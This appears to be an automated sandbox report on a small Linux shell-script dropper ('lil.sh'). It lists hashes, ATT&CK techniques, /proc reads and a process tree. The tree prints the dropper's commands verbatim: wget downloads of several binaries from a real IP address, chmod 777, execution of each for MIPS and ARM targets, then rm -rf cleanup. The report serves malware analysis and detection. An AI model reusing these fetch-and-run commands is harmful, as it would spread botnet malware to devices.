b43891483e082ae72eb4c535dd885002b7feab1d74640468a863fe21b4bc0083

Analysis

max time kernel
150s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
19/02/2025, 16:29

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General

Target
lil.sh
Size 705B
Sample250219-tzee3swm13
SHA256 b43891483e082ae72eb4c535dd885002b7feab1d74640468a863fe21b4bc0083
MD5 7dce8b6be746d0f11ef118f761cc8cfd
SHA1 aa76488843e5af239d24ec174f6ee220d5d515ba
SHA512 322657b2960f4e2359037c1fe16a40b3c5f604f890d900b54de53a814489b1d27691c2a15fd3e2c7f4197655d800aefa9fd8296c857990f50c3a5d99206a11ee
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
793	chmod
797	chmod
805	chmod
809	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/g2	798	lil.sh

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/lib/systemd/systemd-journald	798	g2

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/331/cmdline	g2
File opened for reading	/proc/881/cmdline	g2
File opened for reading	/proc/674/cmdline	g2
File opened for reading	/proc/817/cmdline	g2
File opened for reading	/proc/826/cmdline	g2
File opened for reading	/proc/864/cmdline	g2
File opened for reading	/proc/811/cmdline	g2
File opened for reading	/proc/828/cmdline	g2
File opened for reading	/proc/378/cmdline	g2
File opened for reading	/proc/388/cmdline	g2
File opened for reading	/proc/839/cmdline	g2
File opened for reading	/proc/843/cmdline	g2
File opened for reading	/proc/872/cmdline	g2
File opened for reading	/proc/883/cmdline	g2
File opened for reading	/proc/80/cmdline	g2
File opened for reading	/proc/852/cmdline	g2
File opened for reading	/proc/869/cmdline	g2
File opened for reading	/proc/887/cmdline	g2
File opened for reading	/proc/496/cmdline	g2
File opened for reading	/proc/689/cmdline	g2
File opened for reading	/proc/834/cmdline	g2
File opened for reading	/proc/840/cmdline	g2
File opened for reading	/proc/848/cmdline	g2
File opened for reading	/proc/849/cmdline	g2
File opened for reading	/proc/813/cmdline	g2
File opened for reading	/proc/814/cmdline	g2
File opened for reading	/proc/815/cmdline	g2
File opened for reading	/proc/326/cmdline	g2
File opened for reading	/proc/806/cmdline	g2
File opened for reading	/proc/818/cmdline	g2
File opened for reading	/proc/838/cmdline	g2
File opened for reading	/proc/822/cmdline	g2
File opened for reading	/proc/889/cmdline	g2
File opened for reading	/proc/688/cmdline	g2
File opened for reading	/proc/754/cmdline	g2
File opened for reading	/proc/837/cmdline	g2
File opened for reading	/proc/816/cmdline	g2
File opened for reading	/proc/854/cmdline	g2
File opened for reading	/proc/859/cmdline	g2
File opened for reading	/proc/884/cmdline	g2
File opened for reading	/proc/812/cmdline	g2
File opened for reading	/proc/819/cmdline	g2
File opened for reading	/proc/144/cmdline	g2
File opened for reading	/proc/355/cmdline	g2
File opened for reading	/proc/699/cmdline	g2
File opened for reading	/proc/stat	g2
File opened for reading	/proc/845/cmdline	g2
File opened for reading	/proc/330/cmdline	g2
File opened for reading	/proc/706/cmdline	g2
File opened for reading	/proc/69/cmdline	g2
File opened for reading	/proc/841/cmdline	g2
File opened for reading	/proc/863/cmdline	g2
File opened for reading	/proc/384/cmdline	g2
File opened for reading	/proc/832/cmdline	g2
File opened for reading	/proc/327/cmdline	g2
File opened for reading	/proc/534/cmdline	g2
File opened for reading	/proc/836/cmdline	g2
File opened for reading	/proc/846/cmdline	g2
File opened for reading	/proc/858/cmdline	g2
File opened for reading	/proc/868/cmdline	g2
File opened for reading	/proc/800/cmdline	g2
File opened for reading	/proc/820/cmdline	g2
File opened for reading	/proc/844/cmdline	g2
File opened for reading	/proc/866/cmdline	g2

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
794	g1

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/g2	wget
File opened for modification	/tmp/lil	lil.sh
File opened for modification	/tmp/g	wget

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:696
- /bin/readlink
  readlink -f /proc/1/exe
  2⤵
  PID:698
- /bin/readlink
  readlink -f /proc/10/exe
  2⤵
  PID:700
- /bin/readlink
  readlink -f /proc/104/exe
  2⤵
  PID:705
- /bin/readlink
  readlink -f /proc/11/exe
  2⤵
  PID:707
- /bin/readlink
  readlink -f /proc/113/exe
  2⤵
  PID:708
- /bin/readlink
  readlink -f /proc/114/exe
  2⤵
  PID:710
- /bin/readlink
  readlink -f /proc/12/exe
  2⤵
  PID:712
- /bin/readlink
  readlink -f /proc/13/exe
  2⤵
  PID:714
- /bin/readlink
  readlink -f /proc/14/exe
  2⤵
  PID:716
- /bin/readlink
  readlink -f /proc/144/exe
  2⤵
  PID:717
- /bin/readlink
  readlink -f /proc/147/exe
  2⤵
  PID:719
- /bin/readlink
  readlink -f /proc/15/exe
  2⤵
  PID:721
- /bin/readlink
  readlink -f /proc/16/exe
  2⤵
  PID:723
- /bin/readlink
  readlink -f /proc/164/exe
  2⤵
  PID:725
- /bin/readlink
  readlink -f /proc/17/exe
  2⤵
  PID:727
- /bin/readlink
  readlink -f /proc/18/exe
  2⤵
  PID:729
- /bin/readlink
  readlink -f /proc/19/exe
  2⤵
  PID:730
- /bin/readlink
  readlink -f /proc/2/exe
  2⤵
  PID:732
- /bin/readlink
  readlink -f /proc/20/exe
  2⤵
  PID:734
- /bin/readlink
  readlink -f /proc/21/exe
  2⤵
  PID:736
- /bin/readlink
  readlink -f /proc/22/exe
  2⤵
  PID:737
- /bin/readlink
  readlink -f /proc/23/exe
  2⤵
  PID:738
- /bin/readlink
  readlink -f /proc/239/exe
  2⤵
  PID:739
- /bin/readlink
  readlink -f /proc/24/exe
  2⤵
  PID:740
- /bin/readlink
  readlink -f /proc/3/exe
  2⤵
  PID:742
- /bin/readlink
  readlink -f /proc/326/exe
  2⤵
  PID:743
- /bin/readlink
  readlink -f /proc/327/exe
  2⤵
  PID:745
- /bin/readlink
  readlink -f /proc/330/exe
  2⤵
  PID:746
- /bin/readlink
  readlink -f /proc/331/exe
  2⤵
  PID:747
- /bin/readlink
  readlink -f /proc/353/exe
  2⤵
  PID:748
- /bin/readlink
  readlink -f /proc/355/exe
  2⤵
  PID:750
- /bin/readlink
  readlink -f /proc/36/exe
  2⤵
  PID:751
- /bin/readlink
  readlink -f /proc/37/exe
  2⤵
  PID:753
- /bin/readlink
  readlink -f /proc/377/exe
  2⤵
  PID:755
- /bin/readlink
  readlink -f /proc/378/exe
  2⤵
  PID:756
- /bin/readlink
  readlink -f /proc/384/exe
  2⤵
  PID:757
- /bin/readlink
  readlink -f /proc/388/exe
  2⤵
  PID:758
- /bin/readlink
  readlink -f /proc/4/exe
  2⤵
  PID:759
- /bin/readlink
  readlink -f /proc/484/exe
  2⤵
  PID:761
- /bin/readlink
  readlink -f /proc/496/exe
  2⤵
  PID:762
- /bin/readlink
  readlink -f /proc/5/exe
  2⤵
  PID:763
- /bin/readlink
  readlink -f /proc/532/exe
  2⤵
  PID:764
- /bin/readlink
  readlink -f /proc/534/exe
  2⤵
  PID:765
- /bin/readlink
  readlink -f /proc/6/exe
  2⤵
  PID:766
- /bin/readlink
  readlink -f /proc/66/exe
  2⤵
  PID:767
- /bin/readlink
  readlink -f /proc/674/exe
  2⤵
  PID:769
- /bin/readlink
  readlink -f /proc/688/exe
  2⤵
  PID:770
- /bin/readlink
  readlink -f /proc/689/exe
  2⤵
  PID:771
- /bin/readlink
  readlink -f /proc/69/exe
  2⤵
  PID:772
- /bin/readlink
  readlink -f /proc/691/exe
  2⤵
  PID:773
- /bin/readlink
  readlink -f /proc/693/exe
  2⤵
  PID:774
- /bin/readlink
  readlink -f /proc/694/exe
  2⤵
  PID:775
- /bin/readlink
  readlink -f /proc/695/exe
  2⤵
  PID:776
- /bin/readlink
  readlink -f /proc/696/exe
  2⤵
  PID:777
- /bin/readlink
  readlink -f /proc/697/exe
  2⤵
  PID:778
- /bin/readlink
  readlink -f /proc/7/exe
  2⤵
  PID:779
- /bin/readlink
  readlink -f /proc/70/exe
  2⤵
  PID:780
- /bin/readlink
  readlink -f /proc/71/exe
  2⤵
  PID:781
- /bin/readlink
  readlink -f /proc/72/exe
  2⤵
  PID:782
- /bin/readlink
  readlink -f /proc/74/exe
  2⤵
  PID:783
- /bin/readlink
  readlink -f /proc/75/exe
  2⤵
  PID:784
- /bin/readlink
  readlink -f /proc/77/exe
  2⤵
  PID:785
- /bin/readlink
  readlink -f /proc/79/exe
  2⤵
  PID:786
- /bin/readlink
  readlink -f /proc/8/exe
  2⤵
  PID:787
- /bin/readlink
  readlink -f /proc/80/exe
  2⤵
  PID:788
- /bin/readlink
  readlink -f /proc/82/exe
  2⤵
  PID:789
- /bin/readlink
  readlink -f /proc/9/exe
  2⤵
  PID:790
- /bin/rm
  rm -rf g1
  2⤵
  PID:791
- /usr/bin/wget
  wget http://83.150.218.193/g
  2⤵
  - Writes file to tmp directory
  PID:792
- /bin/chmod
  chmod 777 g1
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/g1
  ./g1 lilin.mips
  2⤵
  - System Network Configuration Discovery
  PID:794
- /bin/rm
  rm -rf g
  2⤵
  PID:795
- /usr/bin/wget
  wget http://83.150.218.193/g2
  2⤵
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod 777 g2
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/g2
  ./g2 lilin.mpsl
  2⤵
  - Changes its process name
  - Reads runtime system information
  PID:798
- /bin/rm
  rm -rf g
  2⤵
  PID:800
- /usr/bin/wget
  wget http://83.150.218.193/g3
  2⤵
  PID:804
- /bin/chmod
  chmod 777 g3
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/g3
  ./g3 lilin.arm
  2⤵
  PID:806
- /bin/rm
  rm -rf g
  2⤵
  PID:807
- /usr/bin/wget
  wget http://83.150.218.193/g6
  2⤵
  PID:808
- /bin/chmod
  chmod 777 g6
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/g6
  ./g6 lilin.arm7
  2⤵
  PID:810
- /bin/rm
  rm -rf lil
  2⤵
  PID:811

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

Path /tmp/g
Size 686B
SHA256 f0a04928806ec265dd32c7355d1b8788aa675f862a30fdfc936d33c71130823c
MD5 f699a3f7bec6ff53d55312e48536c3bc
SHA1 9be3dcef48fabcedfa88ee293ccc48fdae334892
SHA512 4978e606a246b41319b90ba3b2626e3e194adc93473d848f7b6d6040452dd0996b3859ee30136216893f92b772e910a4a2fc7eaa22ee5679bb677de02f7b84d3
MD5 SHA1 SHA512

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Path /tmp/g2
Size 174KB
SHA256 4ed994e9d4a88b0c887593b0941cf5c62663ff4b20c1280f887e3c913e7f483e
MD5 e2298d580b39b4b8ca7568604f467098
SHA1 ef75364f4106162e194a98577445b8be68c0a79a
SHA512 18cc717db1a6a1605eb36242583f9e4722162b6c2b0aa99147361c7f162a4c88de21a6054696c5c1a6a1826803ef8a1dfcc7df7c1af15ac59641ac9e0fdd1c20
SSDEEP 1536:tCsh8o+JL6ImFV1leZzswiehCofd7/T/PkElm6w2RlyGidRt2//yQ0o+5FwhsTmk:tCshz+ZXi+Cofd7F/yGs3eeR
MD5 SHA1 SHA512 SSDEEP

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lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads